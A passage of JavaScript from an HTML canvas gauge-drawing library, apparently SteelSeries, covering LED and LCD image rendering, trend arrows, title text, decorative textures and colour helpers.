ledColor.innerColor1_OFF); grad.addColorStop(0.2, ledColor.innerColor2_OFF); grad.addColorStop(1, ledColor.outerColor_OFF); ledCtx.fillStyle = grad; ledCtx.beginPath(); ledCtx.arc(ledCenterX, ledCenterY, size * 0.5 / 2, 0, TWO_PI, true); ledCtx.closePath(); ledCtx.fill(); // InnerShadow grad = ledCtx.createRadialGradient(ledCenterX, ledCenterY, 0, ledCenterX, ledCenterY, size * 0.5 / 2); grad.addColorStop(0, 'rgba(0, 0, 0, 0)'); grad.addColorStop(0.8, 'rgba(0, 0, 0, 0)'); grad.addColorStop(1, 'rgba(0, 0, 0, 0.4)'); ledCtx.fillStyle = grad; ledCtx.beginPath(); ledCtx.arc(ledCenterX, ledCenterY, size * 0.5 / 2, 0, TWO_PI, true); ledCtx.closePath(); ledCtx.fill(); // LightReflex grad = ledCtx.createLinearGradient(0, 0.35 * size, 0, 0.35 * size + 0.15 * size); grad.addColorStop(0, 'rgba(255, 255, 255, 0.4)'); grad.addColorStop(1, 'rgba(255, 255, 255, 0)'); ledCtx.fillStyle = grad; ledCtx.beginPath(); ledCtx.arc(ledCenterX, 0.35 * size + 0.2 * size / 2, size * 0.2, 0, TWO_PI, true); ledCtx.closePath(); ledCtx.fill(); break; case 1: // LED ON // ON Gradient grad = ledCtx.createRadialGradient(ledCenterX, ledCenterY, 0, ledCenterX, ledCenterY, size * 0.5 / 2); grad.addColorStop(0, ledColor.innerColor1_ON); grad.addColorStop(0.2, ledColor.innerColor2_ON); grad.addColorStop(1, ledColor.outerColor_ON); ledCtx.fillStyle = grad; ledCtx.beginPath(); ledCtx.arc(ledCenterX, ledCenterY, size * 0.5 / 2, 0, TWO_PI, true); ledCtx.closePath(); ledCtx.fill(); // InnerShadow grad = ledCtx.createRadialGradient(ledCenterX, ledCenterY, 0, ledCenterX, ledCenterY, size * 0.5 / 2); grad.addColorStop(0, 'rgba(0, 0, 0, 0)'); grad.addColorStop(0.8, 'rgba(0, 0, 0, 0)'); grad.addColorStop(1, 'rgba(0, 0, 0, 0.4)'); ledCtx.fillStyle = grad; ledCtx.beginPath(); ledCtx.arc(ledCenterX, ledCenterY, size * 0.5 / 2, 0, TWO_PI, true); ledCtx.closePath(); ledCtx.fill(); // LightReflex grad = ledCtx.createLinearGradient(0, 0.35 * size, 0, 0.35 * size + 0.15 * size); grad.addColorStop(0, 'rgba(255, 255, 255, 0.4)'); grad.addColorStop(1, 'rgba(255, 255, 255, 0)'); ledCtx.fillStyle = grad; ledCtx.beginPath(); ledCtx.arc(ledCenterX, 0.35 * size + 0.2 * size / 2, size * 0.2, 0, TWO_PI, true); ledCtx.closePath(); ledCtx.fill(); // Corona grad = ledCtx.createRadialGradient(ledCenterX, ledCenterY, 0, ledCenterX, ledCenterY, size / 2); grad.addColorStop(0, setAlpha(ledColor.coronaColor, 0)); grad.addColorStop(0.6, setAlpha(ledColor.coronaColor, 0.4)); grad.addColorStop(0.7, setAlpha(ledColor.coronaColor, 0.25)); grad.addColorStop(0.8, setAlpha(ledColor.coronaColor, 0.15)); grad.addColorStop(0.85, setAlpha(ledColor.coronaColor, 0.05)); grad.addColorStop(1, setAlpha(ledColor.coronaColor, 0)); ledCtx.fillStyle = grad; ledCtx.beginPath(); ledCtx.arc(ledCenterX, ledCenterY, size / 2, 0, TWO_PI, true); ledCtx.closePath(); ledCtx.fill(); break; } // cache the buffer createLedImage.cache[cacheKey] = ledBuffer; } return createLedImage.cache[cacheKey]; }; createLedImage.cache = {}; var createLcdBackgroundImage = function (width, height, lcdColor) { var lcdBuffer, lcdCtx, xB = 0, yB = 0, wB = width, hB = height, rB = Math.min(width, height) * 0.095, grad, xF = 1, yF = 1, wF = width - 2, hF = height - 2, rF = rB - 1, cacheKey = width.toString() + height + JSON.stringify(lcdColor); // check if we have already created and cached this buffer, if not create it if (!createLcdBackgroundImage.cache[cacheKey]) { lcdBuffer = createBuffer(width, height); lcdCtx = lcdBuffer.getContext('2d'); // background grad = lcdCtx.createLinearGradient(0, yB, 0, yB + hB); grad.addColorStop(0, '#4c4c4c'); grad.addColorStop(0.08, '#666666'); grad.addColorStop(0.92, '#666666'); grad.addColorStop(1, '#e6e6e6'); lcdCtx.fillStyle = grad; roundedRectangle(lcdCtx, xB, yB, wB, hB, rB); lcdCtx.fill(); // foreground grad = lcdCtx.createLinearGradient(0, yF, 0, yF + hF); grad.addColorStop(0, lcdColor.gradientStartColor); grad.addColorStop(0.03, lcdColor.gradientFraction1Color); grad.addColorStop(0.49, lcdColor.gradientFraction2Color); grad.addColorStop(0.5, lcdColor.gradientFraction3Color); grad.addColorStop(1, lcdColor.gradientStopColor); lcdCtx.fillStyle = grad; roundedRectangle(lcdCtx, xF, yF, wF, hF, rF); lcdCtx.fill(); // cache the buffer createLcdBackgroundImage.cache[cacheKey] = lcdBuffer; } return createLcdBackgroundImage.cache[cacheKey]; }; createLcdBackgroundImage.cache = {}; var createMeasuredValueImage = function (size, indicatorColor, radial, vertical) { var indicatorBuffer, indicatorCtx, cacheKey = size.toString() + indicatorColor + radial + vertical; // check if we have already created and cached this buffer, if so return it and exit if (!createMeasuredValueImage.cache[cacheKey]) { indicatorBuffer = doc.createElement('canvas'); indicatorCtx = indicatorBuffer.getContext('2d'); indicatorBuffer.width = size; indicatorBuffer.height = size; indicatorCtx.fillStyle = indicatorColor; if (radial) { indicatorCtx.beginPath(); indicatorCtx.moveTo(size * 0.5, size); indicatorCtx.lineTo(0, 0); indicatorCtx.lineTo(size, 0); indicatorCtx.closePath(); indicatorCtx.fill(); } else { if (vertical) { indicatorCtx.beginPath(); indicatorCtx.moveTo(size, size * 0.5); indicatorCtx.lineTo(0, 0); indicatorCtx.lineTo(0, size); indicatorCtx.closePath(); indicatorCtx.fill(); } else { indicatorCtx.beginPath(); indicatorCtx.moveTo(size * 0.5, 0); indicatorCtx.lineTo(size, size); indicatorCtx.lineTo(0, size); indicatorCtx.closePath(); indicatorCtx.fill(); } } // cache the buffer createMeasuredValueImage.cache[cacheKey] = indicatorBuffer; } return createMeasuredValueImage.cache[cacheKey]; }; createMeasuredValueImage.cache = {}; var createTrendIndicator = function (width, onSection, colors) { var height = width * 2, trendBuffer, trendCtx, fill, cacheKey = onSection.state + width + JSON.stringify(colors), drawUpArrow = function () { // draw up arrow (red) var ledColor = colors[0]; if (onSection.state === 'up') { fill = trendCtx.createRadialGradient(0.5 * width, 0.2 * height, 0, 0.5 * width, 0.2 * height, 0.5 * width); fill.addColorStop(0, ledColor.innerColor1_ON); fill.addColorStop(0.2, ledColor.innerColor2_ON); fill.addColorStop(1, ledColor.outerColor_ON); } else { fill = trendCtx.createLinearGradient(0, 0, 0, 0.5 * height); fill.addColorStop(0, '#323232'); fill.addColorStop(1, '#5c5c5c'); } trendCtx.fillStyle = fill; trendCtx.beginPath(); trendCtx.moveTo(0.5 * width, 0); trendCtx.lineTo(width, 0.2 * height); trendCtx.lineTo(0.752 * width, 0.2 * height); trendCtx.lineTo(0.752 * width, 0.37 * height); trendCtx.lineTo(0.252 * width, 0.37 * height); trendCtx.lineTo(0.252 * width, 0.2 * height); trendCtx.lineTo(0, 0.2 * height); trendCtx.closePath(); trendCtx.fill(); if (onSection.state !== 'up') { // Inner shadow trendCtx.strokeStyle = 'rgba(0, 0, 0, 0.4)'; trendCtx.beginPath(); trendCtx.moveTo(0, 0.2 * height); trendCtx.lineTo(0.5 * width, 0); trendCtx.lineTo(width, 0.2 * height); trendCtx.moveTo(0.252 * width, 0.2 * height); trendCtx.lineTo(0.252 * width, 0.37 * height); trendCtx.stroke(); // Inner highlight trendCtx.strokeStyle = 'rgba(255, 255, 255, 0.3)'; trendCtx.beginPath(); trendCtx.moveTo(0.252 * width, 0.37 * height); trendCtx.lineTo(0.752 * width, 0.37 * height); trendCtx.lineTo(0.752 * width, 0.2 * height); trendCtx.lineTo(width, 0.2 * height); trendCtx.stroke(); } else { // draw halo fill = trendCtx.createRadialGradient(0.5 * width, 0.2 * height, 0, 0.5 * width, 0.2 * height, 0.7 * width); fill.addColorStop(0, setAlpha(ledColor.coronaColor, 0)); fill.addColorStop(0.5, setAlpha(ledColor.coronaColor, 0.3)); fill.addColorStop(0.7, setAlpha(ledColor.coronaColor, 0.2)); fill.addColorStop(0.8, setAlpha(ledColor.coronaColor, 0.1)); fill.addColorStop(0.85, setAlpha(ledColor.coronaColor, 0.05)); fill.addColorStop(1, setAlpha(ledColor.coronaColor, 0)); trendCtx.fillStyle = fill; trendCtx.beginPath(); trendCtx.arc(0.5 * width, 0.2 * height, 0.7 * width, 0, TWO_PI, true); trendCtx.closePath(); trendCtx.fill(); } }, drawEquals = function () { // draw equal symbol var ledColor = colors[1]; trendCtx.beginPath(); if (onSection.state === 'steady') { fill = ledColor.outerColor_ON; trendCtx.fillStyle = fill; trendCtx.rect(0.128 * width, 0.41 * height, 0.744 * width, 0.074 * height); trendCtx.rect(0.128 * width, 0.516 * height, 0.744 * width, 0.074 * height); trendCtx.closePath(); trendCtx.fill(); } else { fill = trendCtx.createLinearGradient(0, 0.41 * height, 0, 0.41 * height + 0.074 * height); fill.addColorStop(0, '#323232'); fill.addColorStop(1, '#5c5c5c'); trendCtx.fillStyle = fill; trendCtx.rect(0.128 * width, 0.41 * height, 0.744 * width, 0.074 * height); trendCtx.closePath(); trendCtx.fill(); fill = trendCtx.createLinearGradient(0, 0.516 * height, 0, 0.516 * height + 0.074 * height); fill.addColorStop(0, '#323232'); fill.addColorStop(1, '#5c5c5c'); trendCtx.fillStyle = fill; trendCtx.rect(0.128 * width, 0.516 * height, 0.744 * width, 0.074 * height); trendCtx.closePath(); trendCtx.fill(); } if (onSection.state !== 'steady') { // inner shadow trendCtx.strokeStyle = 'rgba(0, 0, 0, 0.4)'; trendCtx.beginPath(); trendCtx.moveTo(0.128 * width, 0.41 * height + 0.074 * height); trendCtx.lineTo(0.128 * width, 0.41 * height); trendCtx.lineTo(0.128 * width + 0.744 * width, 0.41 * height); trendCtx.stroke(); trendCtx.beginPath(); trendCtx.moveTo(0.128 * width, 0.516 * height + 0.074 * height); trendCtx.lineTo(0.128 * width, 0.516 * height); trendCtx.lineTo(0.128 * width + 0.744 * width, 0.516 * height); trendCtx.stroke(); // inner highlight trendCtx.strokeStyle = 'rgba(255, 255, 255, 0.3)'; trendCtx.beginPath(); trendCtx.moveTo(0.128 * width + 0.744 * width, 0.41 * height); trendCtx.lineTo(0.128 * width + 0.744 * width, 0.41 * height + 0.074 * height); trendCtx.lineTo(0.128 * width, 0.41 * height + 0.074 * height); trendCtx.stroke(); trendCtx.beginPath(); trendCtx.moveTo(0.128 * width + 0.744 * width, 0.516 * height); trendCtx.lineTo(0.128 * width + 0.744 * width, 0.516 * height + 0.074 * height); trendCtx.lineTo(0.128 * width, 0.516 * height + 0.074 * height); trendCtx.stroke(); } else { // draw halo fill = trendCtx.createRadialGradient(0.5 * width, 0.5 * height, 0, 0.5 * width, 0.5 * height, 0.7 * width); fill.addColorStop(0, setAlpha(ledColor.coronaColor, 0)); fill.addColorStop(0.5, setAlpha(ledColor.coronaColor, 0.3)); fill.addColorStop(0.7, setAlpha(ledColor.coronaColor, 0.2)); fill.addColorStop(0.8, setAlpha(ledColor.coronaColor, 0.1)); fill.addColorStop(0.85, setAlpha(ledColor.coronaColor, 0.05)); fill.addColorStop(1, setAlpha(ledColor.coronaColor, 0)); trendCtx.fillStyle = fill; trendCtx.beginPath(); trendCtx.arc(0.5 * width, 0.5 * height, 0.7 * width, 0, TWO_PI, true); trendCtx.closePath(); trendCtx.fill(); } }, drawDownArrow = function () { // draw down arrow var ledColor = colors[2]; if (onSection.state === 'down') { fill = trendCtx.createRadialGradient(0.5 * width, 0.8 * height, 0, 0.5 * width, 0.8 * height, 0.5 * width); fill.addColorStop(0, ledColor.innerColor1_ON); fill.addColorStop(0.2, ledColor.innerColor2_ON); fill.addColorStop(1, ledColor.outerColor_ON); } else { fill = trendCtx.createLinearGradient(0, 0.63 * height, 0, height); fill.addColorStop(0, '#323232'); fill.addColorStop(1, '#5c5c5c'); } trendCtx.beginPath(); trendCtx.fillStyle = fill; trendCtx.moveTo(0.5 * width, height); trendCtx.lineTo(width, 0.8 * height); trendCtx.lineTo(0.725 * width, 0.8 * height); trendCtx.lineTo(0.725 * width, 0.63 * height); trendCtx.lineTo(0.252 * width, 0.63 * height); trendCtx.lineTo(0.252 * width, 0.8 * height); trendCtx.lineTo(0, 0.8 * height); trendCtx.closePath(); trendCtx.fill(); if (onSection.state !== 'down') { // Inner shadow trendCtx.strokeStyle = 'rgba(0, 0, 0, 0.4)'; trendCtx.beginPath(); trendCtx.moveTo(0, 0.8 * height); trendCtx.lineTo(0.252 * width, 0.8 * height); trendCtx.moveTo(0.252 * width, 0.63 * height); trendCtx.lineTo(0.752 * width, 0.63 * height); trendCtx.stroke(); trendCtx.beginPath(); trendCtx.moveTo(0.752 * width, 0.8 * height); trendCtx.lineTo(width, 0.8 * height); trendCtx.stroke(); // Inner highlight trendCtx.strokeStyle = 'rgba(255, 255, 255, 0.3)'; trendCtx.beginPath(); trendCtx.moveTo(0, 0.8 * height); trendCtx.lineTo(0.5 * width, height); trendCtx.lineTo(width, 0.8 * height); trendCtx.stroke(); trendCtx.beginPath(); trendCtx.moveTo(0.752 * width, 0.8 * height); trendCtx.lineTo(0.752 * width, 0.63 * height); trendCtx.stroke(); } else { // draw halo fill = trendCtx.createRadialGradient(0.5 * width, 0.8 * height, 0, 0.5 * width, 0.8 * height, 0.7 * width); fill.addColorStop(0, setAlpha(ledColor.coronaColor, 0)); fill.addColorStop(0.5, setAlpha(ledColor.coronaColor, 0.3)); fill.addColorStop(0.7, setAlpha(ledColor.coronaColor, 0.2)); fill.addColorStop(0.8, setAlpha(ledColor.coronaColor, 0.1)); fill.addColorStop(0.85, setAlpha(ledColor.coronaColor, 0.05)); fill.addColorStop(1, setAlpha(ledColor.coronaColor, 0)); trendCtx.fillStyle = fill; trendCtx.beginPath(); trendCtx.arc(0.5 * width, 0.8 * height, 0.7 * width, 0, TWO_PI, true); trendCtx.closePath(); trendCtx.fill(); } }; // Check if we have already cached this indicator, if not create it if (!createTrendIndicator.cache[cacheKey]) { // create oversized buffer for the glow trendBuffer = createBuffer(width * 2, width * 4); trendCtx = trendBuffer.getContext('2d'); trendCtx.translate(width * 0.5, width * 0.5); // Must draw the active section last so the 'glow' is on top switch (onSection.state) { case 'up': drawDownArrow(); drawEquals(); drawUpArrow(); break; case 'steady': drawDownArrow(); drawUpArrow(); drawEquals(); break; case 'down': /* falls through */ default: drawUpArrow(); drawEquals(); drawDownArrow(); break; } // cache the buffer createTrendIndicator.cache[cacheKey] = trendBuffer; } return createTrendIndicator.cache[cacheKey]; }; createTrendIndicator.cache = {}; var drawTitleImage = function (ctx, imageWidth, imageHeight, titleString, unitString, backgroundColor, vertical, radial, altPos, gaugeType) { gaugeType = (undefined === gaugeType ? gaugeType = steelseries.GaugeType.TYPE1 : gaugeType); ctx.save(); ctx.textAlign = (radial ? 'center' : 'left'); ctx.textBaseline = 'middle'; ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); if (radial) { ctx.font = 0.046728 * imageWidth + 'px ' + stdFontName; ctx.fillText(titleString, imageWidth / 2, imageHeight * 0.3, imageWidth * 0.3); ctx.fillText(unitString, imageWidth / 2, imageHeight * 0.38, imageWidth * 0.3); } else { // linear if (vertical) { ctx.font = 0.1 * imageWidth + 'px ' + stdFontName; ctx.save(); ctx.translate(0.671428 * imageWidth, 0.1375 * imageHeight); ctx.rotate(1.570796); ctx.fillText(titleString, 0, 0); ctx.translate(-0.671428 * imageWidth, -0.1375 * imageHeight); ctx.restore(); ctx.font = 0.071428 * imageWidth + 'px ' + stdFontName; if (altPos) { // LCD visible if (gaugeType.type === 'type2') { ctx.textAlign = 'right'; ctx.fillText(unitString, 0.36 * imageWidth, imageHeight * 0.79, imageWidth * 0.25); } else { ctx.fillText(unitString, 0.63 * imageWidth, imageHeight * 0.85, imageWidth * 0.2); } } else { // LCD hidden ctx.textAlign = 'center'; if (gaugeType.type === 'type2') { ctx.fillText(unitString, imageWidth / 2, imageHeight * 0.92, imageWidth * 0.2); } else { ctx.fillText(unitString, imageWidth / 2, imageHeight * 0.89, imageWidth * 0.2); } } } else { //linear horizontal ctx.font = 0.035 * imageWidth + 'px ' + stdFontName; ctx.fillText(titleString, imageWidth * 0.15, imageHeight * 0.25, imageWidth * 0.3); ctx.font = 0.025 * imageWidth + 'px ' + stdFontName; ctx.fillText(unitString, imageWidth * 0.0625, imageHeight * 0.7, imageWidth * 0.07); } } ctx.restore(); }; //***************************************** T E X T U R E S **************************************************** var carbonBuffer = drawToBuffer(12, 12, function (ctx) { var imageWidth = ctx.canvas.width, imageHeight = ctx.canvas.height, offsetX = 0, offsetY = 0, grad; ctx.save(); // RULB ctx.save(); ctx.beginPath(); ctx.rect(0, 0, imageWidth * 0.5, imageHeight * 0.5); ctx.closePath(); ctx.restore(); grad = ctx.createLinearGradient(0, offsetY * imageHeight, 0, 0.5 * imageHeight + offsetY * imageHeight); grad.addColorStop(0, 'rgb(35, 35, 35)'); grad.addColorStop(1, 'rgb(23, 23, 23)'); ctx.fillStyle = grad; ctx.fill(); // RULF ctx.save(); ctx.beginPath(); ctx.rect(imageWidth * 0.083333, 0, imageWidth * 0.333333, imageHeight * 0.416666); ctx.closePath(); ctx.restore(); offsetX = 0.083333; offsetY = 0; grad = ctx.createLinearGradient(0, offsetY * imageHeight, 0, 0.416666 * imageHeight + offsetY * imageHeight); grad.addColorStop(0, 'rgb(38, 38, 38)'); grad.addColorStop(1, 'rgb(30, 30, 30)'); ctx.fillStyle = grad; ctx.fill(); // RLRB ctx.save(); ctx.beginPath(); ctx.rect(imageWidth * 0.5, imageHeight * 0.5, imageWidth * 0.5, imageHeight * 0.5); ctx.closePath(); ctx.restore(); offsetX = 0.5; offsetY = 0.5; grad = ctx.createLinearGradient(0, offsetY * imageHeight, 0, 0.5 * imageHeight + offsetY * imageHeight); grad.addColorStop(0, 'rgb(35, 35, 35)'); grad.addColorStop(1, 'rgb(23, 23, 23)'); ctx.fillStyle = grad; ctx.fill(); // RLRF ctx.save(); ctx.beginPath(); ctx.rect(imageWidth * 0.583333, imageHeight * 0.5, imageWidth * 0.333333, imageHeight * 0.416666); ctx.closePath(); ctx.restore(); offsetX = 0.583333; offsetY = 0.5; grad = ctx.createLinearGradient(0, offsetY * imageHeight, 0, 0.416666 * imageHeight + offsetY * imageHeight); grad.addColorStop(0, 'rgb(38, 38, 38)'); grad.addColorStop(1, 'rgb(30, 30, 30)'); ctx.fillStyle = grad; ctx.fill(); // RURB ctx.save(); ctx.beginPath(); ctx.rect(imageWidth * 0.5, 0, imageWidth * 0.5, imageHeight * 0.5); ctx.closePath(); ctx.restore(); offsetX = 0.5; offsetY = 0; grad = ctx.createLinearGradient(0, offsetY * imageHeight, 0, 0.5 * imageHeight + offsetY * imageHeight); grad.addColorStop(0, '#303030'); grad.addColorStop(1, 'rgb(40, 40, 40)'); ctx.fillStyle = grad; ctx.fill(); // RURF ctx.save(); ctx.beginPath(); ctx.rect(imageWidth * 0.583333, imageHeight * 0.083333, imageWidth * 0.333333, imageHeight * 0.416666); ctx.closePath(); ctx.restore(); offsetX = 0.583333; offsetY = 0.083333; grad = ctx.createLinearGradient(0, offsetY * imageHeight, 0, 0.416666 * imageHeight + offsetY * imageHeight); grad.addColorStop(0, 'rgb(53, 53, 53)'); grad.addColorStop(1, 'rgb(45, 45, 45)'); ctx.fillStyle = grad; ctx.fill(); // RLLB ctx.save(); ctx.beginPath(); ctx.rect(0, imageHeight * 0.5, imageWidth * 0.5, imageHeight * 0.5); ctx.closePath(); ctx.restore(); offsetX = 0; offsetY = 0.5; grad = ctx.createLinearGradient(0, offsetY * imageHeight, 0, 0.5 * imageHeight + offsetY * imageHeight); grad.addColorStop(0, '#303030'); grad.addColorStop(1, '#282828'); ctx.fillStyle = grad; ctx.fill(); // RLLF ctx.save(); ctx.beginPath(); ctx.rect(imageWidth * 0.083333, imageHeight * 0.583333, imageWidth * 0.333333, imageHeight * 0.416666); ctx.closePath(); ctx.restore(); offsetX = 0.083333; offsetY = 0.583333; grad = ctx.createLinearGradient(0, offsetY * imageHeight, 0, 0.416666 * imageHeight + offsetY * imageHeight); grad.addColorStop(0, '#353535'); grad.addColorStop(1, '#2d2d2d'); ctx.fillStyle = grad; ctx.fill(); ctx.restore(); }); var punchedSheetBuffer = drawToBuffer(15, 15, function (ctx) { var imageWidth = ctx.canvas.width, imageHeight = ctx.canvas.height, grad; ctx.save(); // BACK ctx.save(); ctx.beginPath(); ctx.rect(0, 0, imageWidth, imageHeight); ctx.closePath(); ctx.restore(); ctx.fillStyle = '#1D2123'; ctx.fill(); // ULB ctx.save(); ctx.beginPath(); ctx.moveTo(0, imageHeight * 0.266666); ctx.bezierCurveTo(0, imageHeight * 0.4, imageWidth * 0.066666, imageHeight * 0.466666, imageWidth * 0.2, imageHeight * 0.466666); ctx.bezierCurveTo(imageWidth * 0.333333, imageHeight * 0.466666, imageWidth * 0.4, imageHeight * 0.4, imageWidth * 0.4, imageHeight * 0.266666); ctx.bezierCurveTo(imageWidth * 0.4, imageHeight * 0.133333, imageWidth * 0.333333, imageHeight * 0.066666, imageWidth * 0.2, imageHeight * 0.066666); ctx.bezierCurveTo(imageWidth * 0.066666, imageHeight * 0.066666, 0, imageHeight * 0.133333, 0, imageHeight * 0.266666); ctx.closePath(); grad = ctx.createLinearGradient(0, 0.066666 * imageHeight, 0, 0.466666 * imageHeight); grad.addColorStop(0, '#000000'); grad.addColorStop(1, '#444444'); ctx.fillStyle = grad; ctx.fill(); // ULF ctx.save(); ctx.beginPath(); ctx.moveTo(0, imageHeight * 0.2); ctx.bezierCurveTo(0, imageHeight * 0.333333, imageWidth * 0.066666, imageHeight * 0.4, imageWidth * 0.2, imageHeight * 0.4); ctx.bezierCurveTo(imageWidth * 0.333333, imageHeight * 0.4, imageWidth * 0.4, imageHeight * 0.333333, imageWidth * 0.4, imageHeight * 0.2); ctx.bezierCurveTo(imageWidth * 0.4, imageHeight * 0.066666, imageWidth * 0.333333, 0, imageWidth * 0.2, 0); ctx.bezierCurveTo(imageWidth * 0.066666, 0, 0, imageHeight * 0.066666, 0, imageHeight * 0.2); ctx.closePath(); ctx.fillStyle = '#050506'; ctx.fill(); // LRB ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.466666, imageHeight * 0.733333); ctx.bezierCurveTo(imageWidth * 0.466666, imageHeight * 0.866666, imageWidth * 0.533333, imageHeight * 0.933333, imageWidth * 0.666666, imageHeight * 0.933333); ctx.bezierCurveTo(imageWidth * 0.8, imageHeight * 0.933333, imageWidth * 0.866666, imageHeight * 0.866666, imageWidth * 0.866666, imageHeight * 0.733333); ctx.bezierCurveTo(imageWidth * 0.866666, imageHeight * 0.6, imageWidth * 0.8, imageHeight * 0.533333, imageWidth * 0.666666, imageHeight * 0.533333); ctx.bezierCurveTo(imageWidth * 0.533333, imageHeight * 0.533333, imageWidth * 0.466666, imageHeight * 0.6, imageWidth * 0.466666, imageHeight * 0.733333); ctx.closePath(); grad = ctx.createLinearGradient(0, 0.533333 * imageHeight, 0, 0.933333 * imageHeight); grad.addColorStop(0, '#000000'); grad.addColorStop(1, '#444444'); ctx.fillStyle = grad; ctx.fill(); // LRF ctx.save(); ctx.beginPath(); ctx.moveTo(imageWidth * 0.466666, imageHeight * 0.666666); ctx.bezierCurveTo(imageWidth * 0.466666, imageHeight * 0.8, imageWidth * 0.533333, imageHeight * 0.866666, imageWidth * 0.666666, imageHeight * 0.866666); ctx.bezierCurveTo(imageWidth * 0.8, imageHeight * 0.866666, imageWidth * 0.866666, imageHeight * 0.8, imageWidth * 0.866666, imageHeight * 0.666666); ctx.bezierCurveTo(imageWidth * 0.866666, imageHeight * 0.533333, imageWidth * 0.8, imageHeight * 0.466666, imageWidth * 0.666666, imageHeight * 0.466666); ctx.bezierCurveTo(imageWidth * 0.533333, imageHeight * 0.466666, imageWidth * 0.466666, imageHeight * 0.533333, imageWidth * 0.466666, imageHeight * 0.666666); ctx.closePath(); ctx.fillStyle = '#050506'; ctx.fill(); ctx.restore(); }); var brushedMetalTexture = function (color, radius, amount, monochrome, shine) { this.fill = function (startX, startY, endX, endY) { var i, x, y, // loop counters sinArr, width, height, outCanvas, outCanvasContext, // output canvas inPixels, outPixels, // pixel arrays //alpha = color & 0xff000000; alpha = 255, red = (color >> 16) & 0xff, green = (color >> 8) & 0xff, blue = color & 0xff, n = 0, variation = 255 * amount, totR, totG, totB, indx, tr, tg, tb, f; startX = Math.floor(startX); startY = Math.floor(startY); endX = Math.ceil(endX); endY = Math.ceil(endY); width = endX - startX; height = endY - startY; // Create output canvas outCanvas = createBuffer(width, height); outCanvasContext = outCanvas.getContext('2d'); // Create pixel arrays inPixels = outCanvasContext.createImageData(width, height); outPixels = outCanvasContext.createImageData(width, height); // Precreate sin() values if (shine !== 0) { sinArr = []; for (i = 0; i < width; i++) { sinArr[i] = (255 * shine * Math.sin(i / width * PI)) | 0; } } for (y = 0; y < height; y++) { // The pixel array is addressed as 4 elements per pixel [r,g,b,a] if (radius !== 0) { totR = totG = totB = 0; } for (x = 0; x < width; x ++) { indx = (y * width * 4) + (x * 4); tr = red; tg = green; tb = blue; if (shine !== 0) { f = sinArr[x]; tr += f; tg += f; tb += f; } if (monochrome) { n = ((2 * Math.random() - 1) * variation) | 0; inPixels.data[indx] = clamp(tr + n); inPixels.data[indx + 1] = clamp(tg + n); inPixels.data[indx + 2] = clamp(tb + n); inPixels.data[indx + 3] = alpha; } else { inPixels.data[indx] = random(tr, variation); inPixels.data[indx + 1] = random(tg, variation); inPixels.data[indx + 2] = random(tb, variation); inPixels.data[indx + 3] = alpha; } } } if (radius > 0) { horizontalBlur(inPixels, outPixels, width, height, radius, alpha); outCanvasContext.putImageData(outPixels, startX, startY); } else { outCanvasContext.putImageData(inPixels, startX, startY); } return outCanvas; }; function random(x, vari) { x += ((2 * Math.random() - 1) * vari) | 0; return (x < 0 ? 0 : (x > 255 ? 255 : x)); } function clamp(C) { return (C < 0 ? 0 : (C > 255 ? 255 : C)); } function horizontalBlur(inPix, outPix, width, height, radius, alpha) { var x, y, // loop counters i, mul, indx, totR, totG, totB; if (radius >= width) { radius = width - 1; } mul = 1 / (radius * 2 + 1); indx = 0; for (y = 0; y < height; y++) { totR = totG = totB = 0; for (x = 0; x < radius ; x++) { i = (indx + x) * 4; totR += inPix.data[i]; totG += inPix.data[i + 1]; totB += inPix.data[i + 2]; } for (x = 0; x < width; x++) { if (x > radius) { i = (indx - radius - 1) * 4; totR -= inPix.data[i]; totG -= inPix.data[i + 1]; totB -= inPix.data[i + 2]; } if (x + radius < width) { i = (indx + radius) * 4; totR += inPix.data[i]; totG += inPix.data[i + 1]; totB += inPix.data[i + 2]; } i = indx * 4; outPix.data[i] = (totR * mul) | 0; outPix.data[i + 1] = (totG * mul) | 0; outPix.data[i + 2] = (totB * mul) | 0; outPix.data[i + 3] = alpha; indx++; } } } return this; }; //******************************************** T O O L S ******************************************************* var RgbaColor = function (r, g, b, a) { var red, green, blue, alpha; if (arguments.length === 1) { // hexadecimal input #112233 b = parseInt(r.substr(5, 2), 16); g = parseInt(r.substr(3, 2), 16); r = parseInt(r.substr(1, 2), 16); a = 1; } else if (arguments.length === 3) { a = 1; } function validateColors() { red = range(r, 255); green = range(g, 255); blue = range(b, 255); alpha = range(a, 1); } validateColors(); this.getRed = function () { return red; }; this.setRed = function (r) { red = range(r, 255); }; this.getGreen = function () { return green; }; this.setGreen = function (g) { green = range(g, 255); }; this.getBlue = function () { return blue; }; this.setBlue = function (b) { blue = range(b, 255); }; this.getAlpha = function () { return alpha; }; this.setAlpha = function (a) { alpha = range(a, 1); }; this.getRgbaColor = function () { return 'rgba(' + red + ', ' + green + ', ' + blue + ', ' + alpha + ')'; }; this.getRgbColor = function () { return 'rgb(' + red + ', ' + green + ', ' + blue + ')'; }; this.getHexColor = function () { return '#' + red.toString(16) + green.toString(16) + blue.toString(16); }; }; var ConicalGradient = function (fractions, colors) { var limit = fractions.length - 1, i; // Pre-multipy fractions array into range -PI to PI for (i = 0; i <= limit; i++) { fractions[i] = TWO_PI * fractions[i] - PI; } this.fillCircle = function (ctx, centerX, centerY, innerX, outerX) { var angle, radius = Math.ceil(outerX), diameter = radius * 2, pixels, alpha, x, y, dx, dy, dy2, distance, indx, pixColor, buffer, bufferCtx; // Original Version using rotated lines /* ctx.save(); ctx.lineWidth = 1.5; ctx.translate(centerX, centerY); ctx.rotate(rotationOffset); ctx.translate(-centerX, -centerY); for (i = 0, size = fractions.length - 1; i < size; i++) { startAngle = TWO_PI * fractions[i]; stopAngle = TWO_PI * fractions[i + 1]; range = stopAngle - startAngle; startColor = colors[i]; stopColor = colors[i + 1]; for (angle = startAngle; angle < stopAngle; angle += angleStep) { ctx.beginPath(); ctx.fillStyle = getColorFromFraction(startColor, stopColor, range, (angle - startAngle)).getRgbaColor(); ctx.strokeStyle = ctx.fillStyle; if (innerX > 0) { ctx.arc(centerX, centerY, innerX, angle + angleStep, angle, true); } else { ctx.moveTo(centerX, centerY); } ctx.arc(centerX, centerY, outerX, angle, angle + angleStep); ctx.fill(); ctx.stroke(); } } */ // End - Original Version // Create pixel array pixels = ctx.createImageData(diameter, diameter); alpha = 255; for (y = 0; y < diameter; y++) { dy = radius - y; dy2 = dy * dy; for (x = 0; x < diameter; x++) { dx = x - radius; distance = Math.sqrt((dx * dx) + dy2); if (distance <= radius && distance >= innerX) { // pixels are transparent by default, so only paint the ones we need angle = 